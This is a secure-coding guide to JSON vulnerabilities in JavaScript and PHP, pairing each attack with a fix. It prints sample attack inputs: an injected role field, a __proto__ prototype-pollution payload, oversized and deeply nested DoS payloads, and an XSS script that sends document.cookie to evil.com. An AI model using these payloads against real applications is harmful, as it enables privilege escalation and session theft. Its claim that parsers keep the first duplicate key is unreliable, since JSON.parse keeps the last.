JSON Security Best Practices: Protect Your Applications
JSON is everywhere — APIs, configuration files, databases, and more. But with widespread use comes security risks. This guide covers the most critical JSON security vulnerabilities and how to defend against them.
1. JSON Injection
JSON injection occurs when untrusted data is inserted into a JSON structure without proper sanitization, potentially altering the structure or meaning of the data.
The Vulnerability
// DANGEROUS: String concatenation
const json = '{"user": "' + userInput + '", "role": "viewer"}';
// If userInput = 'admin", "role": "admin'
// Result: {"user": "admin", "role": "admin", "role": "viewer"}
// Many parsers will use the FIRST "role" value = "admin"!
The Fix
// SAFE: Use proper serialization
const data = {
user: userInput, // Automatically escaped
role: "viewer"
};
const json = JSON.stringify(data);
JSON.stringify() or equivalent library functions.
2. Unsafe Deserialization
Deserializing JSON from untrusted sources can be dangerous if the parser or application processes special values or triggers side effects.
Never Use eval()
// EXTREMELY DANGEROUS — allows arbitrary code execution
const data = eval('(' + jsonString + ')');
// SAFE — use the built-in parser
const data = JSON.parse(jsonString);
Reviver Function for Sanitization
// Use a reviver to filter or transform values during parsing
const data = JSON.parse(jsonString, (key, value) => {
// Reject functions or unexpected types
if (typeof value === 'string' && value.length > 10000) {
throw new Error('String value too long');
}
// Strip potentially dangerous keys
if (key === '__proto__' || key === 'constructor') {
return undefined;
}
return value;
});
3. Prototype Pollution
Prototype pollution is a JavaScript-specific vulnerability where an attacker modifies the prototype of base objects through crafted JSON input.
The Attack
{
"__proto__": {
"isAdmin": true
}
}
// If this JSON is merged into an object unsafely:
const config = {};
merge(config, maliciousJSON);
// Now ALL objects inherit isAdmin = true
const user = {};
console.log(user.isAdmin); // true — DANGEROUS!
Prevention
// 1. Use Object.create(null) for dictionaries
const safeObj = Object.create(null);
// 2. Filter dangerous keys
function safeMerge(target, source) {
for (const key of Object.keys(source)) {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
continue; // Skip dangerous keys
}
target[key] = source[key];
}
return target;
}
// 3. Use Object.freeze(Object.prototype) in critical apps
// 4. Use Map instead of plain objects for user-controlled keys
Advertisement
4. Denial of Service (DoS) via JSON
Attackers can craft JSON payloads designed to consume excessive resources during parsing.
Deeply Nested JSON
{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":{"a":
... hundreds of levels deep ...
}}}}}}}}}}}}
Extremely Large Payloads
{
"data": "AAAAAAA... (millions of characters) ...AAAAAAA"
}
Prevention
// 1. Limit request body size (Express.js example)
app.use(express.json({ limit: '1mb' }));
// 2. Set parsing depth limits
// 3. Set timeouts on parsing operations
// 4. Validate payload size before parsing
// PHP: Limit JSON depth
$data = json_decode($input, true, 20); // Max 20 levels deep
if (json_last_error() === JSON_ERROR_DEPTH) {
die('JSON nesting too deep');
}
5. Sensitive Data Exposure
Be careful about what data you include in JSON responses. Over-sharing is a common vulnerability.
❌ Exposing Sensitive Fields
{
"id": 123,
"name": "John Doe",
"email": "john@example.com",
"passwordHash": "$2b$10$abc123...",
"ssn": "123-45-6789",
"creditCard": "4111-1111-1111-1111",
"internalNotes": "VIP customer, give 50% discount"
}
✅ Filtered Response
{
"id": 123,
"name": "John Doe",
"email": "john@example.com"
}
// Always use allowlists, not blocklists
function sanitizeUser(user) {
const { id, name, email } = user;
return { id, name, email }; // Only return safe fields
}
6. Cross-Site Scripting (XSS) via JSON
If JSON data is rendered in HTML without proper escaping, it can lead to XSS attacks.
The Attack
{
"name": "<script>document.location='https://evil.com/?c='+document.cookie</script>"
}
Prevention
- Always HTML-encode JSON values before inserting into HTML
- Use Content-Type: application/json for API responses (not text/html)
- Set X-Content-Type-Options: nosniff header
- Use CSP headers to prevent inline script execution
Security Checklist
| Practice | Priority |
|---|---|
| Use JSON.stringify() / JSON.parse() — never eval() | 🔴 Critical |
| Validate and sanitize all input | 🔴 Critical |
| Protect against prototype pollution | 🔴 Critical |
| Limit payload size and nesting depth | 🟠 High |
| Filter sensitive data from responses | 🟠 High |
| Set proper Content-Type headers | 🟠 High |
| HTML-encode JSON values in templates | 🟠 High |
| Use JSON Schema for validation | 🟡 Medium |
| Implement rate limiting | 🟡 Medium |
| Log and monitor parsing errors | 🟡 Medium |